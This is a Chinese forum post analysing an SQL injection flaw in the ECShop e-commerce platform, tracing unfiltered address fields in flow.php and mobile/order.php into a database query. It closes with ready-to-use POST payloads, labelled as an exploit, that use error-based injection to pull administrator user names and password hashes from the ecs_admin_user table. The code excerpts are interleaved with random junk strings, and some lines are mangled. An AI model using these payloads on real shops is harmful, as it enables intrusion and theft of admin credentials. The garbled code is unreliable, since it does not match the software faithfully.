找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
: j1 B: R6 i$ A. g. q/ a7 G. R" c+ ~& j; e* W% d
    漏洞关键文件:) U6 ~/ K" |, H# ]- t
  ^/ B3 H$ b6 A7 P9 m
    /includes/lib_order.php
2 G) ]$ m' m; V  w0 J/ U; m
$ z6 V9 P3 q6 E$ v8 F" w- `0 ]    关键函数:
5 |  h# h' g; e: r3 q8 G- d  X, t. P: J( m
' p; q3 p8 J0 c
8 m% Y5 U+ r' e- a
01     function available_shipping_list($region_id_list)
1 B. H9 _- s. U. a6 i
+ y# A- a* O2 w4 K02 { ) p6 D8 H' N3 b$ r2 S' c
; J" Y& l5 H# Q- R; m" {
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 0 _! b3 s+ [' b! T+ \
2 w7 v- d/ w0 g. N. D" g. ?( C. d4 J
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 1 k; e2 e% H+ r5 M. N

. M$ a9 W# ^1 B; C5 }9 [- z05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 0 r# K' ]7 s5 S# F% f4 A. E, t2 H

, I( ]/ s' A8 g4 t/ \06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 7 J3 K: r/ [3 K) m
9 y3 d+ i3 u) ]. n. v
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
- @; C! E& E; o* t+ D8 Y4 f6 Z4 `6 |7 O* Y/ Z! X
08             'WHERE r.region_id ' . db_create_in($region_id_list) . * N1 ?2 z5 n. Z' |) B3 X0 Y; @" m

1 C: G+ C9 ~. n1 X2 Q3 D6 q09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. e0 O; \, p! R8 @$ S. O) y- P9 u7 ~' b; W. {4 o3 h7 Y, Q' \
10   
$ q2 @; b. c  V  B  A  X  }2 u+ _+ e8 D* E
11     return $GLOBALS['db']->getAll($sql);
# F& I6 H+ Y# }! G4 C+ H
4 L. n# y; T  x; R! J  V- u12 }
4 B2 x7 v) _7 e- q4 k' \* E2 }  j8 t. ~: e& S+ M: S9 k
显然对传入的参数没有任何过滤就带入了查询语句。
7 r4 D4 a0 N/ I # X5 ?) S/ f1 G( @' A% @; h5 G* n
下面我们追踪这个函数在flow.php中:
, C9 {6 ]7 ], n, \& ]' d" K 第531行:   
: h" s" }* Q" B9 d/ M
& S  |% j& y, V- G6 Y1 $shipping_list     = available_shipping_list($region);
' Y6 P9 R& A, ]& [1 H) M% D4 T/ b3 Y8 k

: w" ]4 w. C- @6 q3 k6 f
# c& t/ Q, U% U! Z0 L) h( N" p+ z7 ?/ d * R9 }5 a. Z1 ]6 q. ]" y4 V! F

& K7 M5 N6 Z' |  v! w! c, P再对传入变量进行追踪:4 K2 f, W9 A8 d" W- ^
- U/ T  u2 }" \/ W' \# a0 B1 n/ a
第530行:   
1 d& x: f$ \5 R8 b: ^8 C* w9 |1 A; _
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
/ l& b8 l+ S0 F1 V& |: c* g! j5 t' C. L6 f+ b1 W% d4 _/ F

# N: H6 D* T. }6 c! u; f' k: P' E: s7 W! @6 a
4 @6 H$ M. R  g" v% Z% ^

. n9 a3 t: I5 [7 y. `; p第473行:        
1 X7 c& d( o" `8 Z' ~* G4 R( m, A
1 $consignee = get_consignee($_SESSION['user_id']); 9 e1 J" M- J9 l  M1 N
3 |* q5 x0 P, s
到了一个关键函数:4 i) c* a" T9 V8 b

& o0 S6 J6 e0 `1 d: }. O/includes/lib_order.php
5 ]% f' ]% q2 _/ \% w4 {! T7 ^8 I3 {

, \/ Z) n8 E7 g* m) Q5 D; b% k% ^  f. k! {$ p+ X3 Z3 H/ t! d
- |$ q9 |3 o  d- ]  ^% C
$ {6 i( [- F  k2 Y
01 function get_consignee($user_id)
$ E9 f$ F, S2 d* v- X! c
& I; [/ J9 H, ?+ N" |  \2 D! p02 { . o6 X, K6 q3 {1 {% e' U

8 e% `5 Z" p0 M% ?- B' l  t/ I03     if (isset($_SESSION['flow_consignee'])) 2 C% l) C0 B* B. b

- \& K" ^: e" K9 _3 [04     {
2 j6 J- v) N# J( Q1 P& A$ s# f
& u$ \# d/ ^; P& t' B* \2 ]05         /* 如果存在session,则直接返回session中的收货人信息 */ / Q1 z& B! j7 R( L2 E

$ a7 A+ z. \3 @. h06   % U1 ^3 C) S  E. B

% M' |% Q0 L2 ]! G& p07         return $_SESSION['flow_consignee']; & P) O7 A. b4 {2 E9 L3 J: f. B
& ?; J% ^7 W+ Z3 `
08     }
/ Q2 j( X- `# ?' F( v# z6 B) L4 |) M% A/ a
09     else 8 o, A5 H: o( z& V; C
, |0 e/ v: R; ~
10     { & m% I- c) e/ T& m! C2 ?
! W  k& l) i9 i
11         /* 如果不存在,则取得用户的默认收货人信息 */ " Y* ?$ `5 l! e' t6 K5 l

4 G2 _+ \; }1 ^4 P# P12         $arr = array(); , j; Q, V* C* Z  S( W
  O( u* p! c4 {+ \5 H- D/ D
13   
# R' b6 u! P; h3 ?
' T. X& D/ Y0 @+ u$ Z  v14         if ($user_id > 0)
6 o1 ?$ J9 h; ]5 Q* }2 I# p0 m3 Q
15         { * a3 H8 q6 |, C) o6 [' ]* v2 v7 _( e
: o4 `9 j- \2 w  N
16             /* 取默认地址 */ # Q0 \9 m5 V  Q/ [; t+ v

9 F6 f" w) O0 L0 v( c17             $sql = "SELECT ua.*".
% c7 r$ A& O4 @; y. _8 {; Q' a+ K) x$ F0 i+ W, t( t
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. - D+ l5 j' j1 ]5 z% j4 Q# Q+ R' D

# O/ a. _1 h) v- ^# a  A8 I19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 2 N' g, q' Y3 i

' {+ F: @' l+ F) O: C20   : U3 ~  T  a# B! J/ D

  j% B8 [% ]0 b& {( w9 p21             $arr = $GLOBALS['db']->getRow($sql); % x, N  m* \- m* j  a8 Z
- M9 W( w% C2 j) r# Y, I5 s
22         } - n+ {. j6 O; F
0 S( q3 r3 [% a- v5 i, F' q
23   ; Q2 z3 d: ]& \3 V: e. X

0 H$ ]% ~0 @  E; Q, s6 @24         return $arr; : o3 C6 Q+ P7 O. `! J8 C  f

  [& w! p  e* x  H25     } # ?* c8 H. O0 g7 y" S) L9 v

) k1 A1 C2 K+ [5 t2 u3 d' k' x26 }
& u% ?1 j+ e  d6 N! p, l9 Q# h8 T8 i$ d; X9 M
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 T+ ~- t& V7 ^8 M- j7 n( K) S+ E6 ]' D( r, s5 t

1 R) `1 h5 x" M9 ^5 O, _9 n
& a, v2 X" g5 `  Z4 o关键点:4 S# q9 A9 r' F/ q, |3 ~9 h

# n( J& Z% Y* n$ N7 U) ^" R第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
( L) T2 _& U# R5 [3 e6 K# r. w; H  n+ K4 Z2 v
这里对传入参数反转义存入$_SESSION中。9 e4 X, S9 q: l) N2 z. N
9 X8 S5 T; y8 k$ ^

( _# H5 _' d/ `7 [. C7 o; e. a
8 d$ q) E/ \+ z( l- b3 x* j然后看下:
( |# |* `5 {; m( l. D8 ?: }! o/ B7 a# e; H; e+ L% V6 K

0 E1 A" L+ u- ]8 g7 Q" O) w! A* R) t( e3 z1 n
   
% q1 W- H! j8 \0 m5 M$ K( [. Y% H: R% m7 F$ q" L0 T" Q% N8 n
01 $consignee = array(
4 C. r# V3 m; q5 g& o6 m! o
5 @' q2 X: V$ N0 P6 X02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 6 v' _8 J8 Z7 i9 E; x
3 o8 ~6 u, w) l4 ?- j9 o4 I: H& `
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 0 i4 F8 P" C0 f4 q( w: E( {
$ R  Y7 u$ w. ]1 s% b+ ]
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 6 m7 `, p: g) E( _$ [
* W% L/ b' A  m" W
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 1 M6 V% }: n& B8 d6 a& b
# ?4 d# n. O7 u; U0 K* K
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
' ]! x5 B4 \8 ?  `7 m2 F, V! K. w+ E. Y  d
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], % z& K7 R8 P, W& d( c8 n* N
) v' E; p, W$ r
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 1 \' \: U" l" S5 G
/ f0 w0 V4 k- V
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], & v- g6 Q0 l( ?" y' h
! Q8 z4 M0 a, j, j) ~8 k- c
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ! c" `6 a2 d6 Y$ w4 f7 y* |

. i3 b; g# C: |# d' `3 v% T; E11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), . K' G5 o+ Z8 K0 Y0 u
! z- P$ L; L4 Y5 P# \
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
5 Q  U* Z2 P! g; L
0 J" v5 q5 J: E13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
/ k) |% ^. a" X" n* t$ P
9 m0 K/ A/ M0 O14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
4 n& C3 }" k3 j
9 r! w. V  s1 l, O15     ); & o8 @; y- i5 L/ A; q' u

0 ~2 n8 W4 x( [9 h. G8 r好了注入就这样出现了。
3 ]( V/ @8 m9 {1 g
/ B3 x2 w; \8 v5 n- L( ^5 G0 @+ d==================- J& G( H: i# V) G' B+ j6 K/ ~$ g
: k" f/ L, A. ]! K# c- s& C
注入测试:, J4 l( z2 X0 M
* v* ?" E, n- H) u- m6 M6 a
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 c, f+ l+ P& R; U; F# M

% }; I; o/ n# H+ ~0 y) j测试程序:ECShop_V2.7.3_UTF8_release11063 u9 G# \7 V" P

* o) R( U. e8 q; S5 ~
7 k2 p/ l8 S2 Y  T/ X4 p
* E5 r( j* r, K1.首先需要点击一个商品加入购物车
, J* ~9 W/ C( J" C8 d- Q& x) v- Y) a& U
2.注册一个会员帐号
' H- n7 Y. d0 J8 `
5 O" E8 ^: Y" ]6 E, |3.post提交数据
& U5 G  G$ X7 e) ?1 |" V4 k- E7 y, S  @) _& F5 F
: g  P$ E. u( }* E) w) c% E

6 N% S, f- s! ]. ~1 http://127.0.0.1/ecshop/flow.php
$ a$ e( Z# U: m1 A' R7 X: T2 H$ U) J5 h) G1 D$ T; A8 f: J6 N
2   " w7 F* \! N( i2 v
5 Q$ s' t& @* \7 g7 P( k3 A& Q
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 7 P% v0 m9 X5 e8 \8 r8 s" e
举一反三,我们根据这个漏洞我们可以继续深入挖掘:6 B' C8 g6 o( y. K# m& I: k

) d  R6 e: j! k我们搜寻关键函数function available_shipping_list()) X- b4 [% M. M5 C

8 _* X; B$ J) i在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同2 @6 f2 h0 a( L8 @5 I9 ]4 e
2 s; X% @7 y! g5 G" o7 Z! _
利用exp:9 ]: b" F# T8 _. V! H
$ B. p& I; W+ m
1.点击一个商品,点击购买商标
+ p& l3 s6 }+ H1 d8 M! }; n
- P! b1 ]8 Y0 F8 u% P2.登录会员帐号
+ g  q) `& ]5 U( ]$ l& J; z9 j  A0 h7 X. ?
3.post提交:
3 u4 K/ Q9 \6 n; z2 K) U5 O; m+ f: Q% R: N( E0 D. k# k
http://127.0.0.1/ecshop/mobile/order.php$ p+ u+ X4 p, B+ v% W; z

* }( v* v; M! h7 h6 h+ w* T
- X4 P+ c9 q( q' G1 T1 {( H2 g/ N
" W; T. Y" C1 U/ @' Z; _country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. u7 x5 O9 o: M9 J3 u$ B5 @* O7 c, X# i" M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表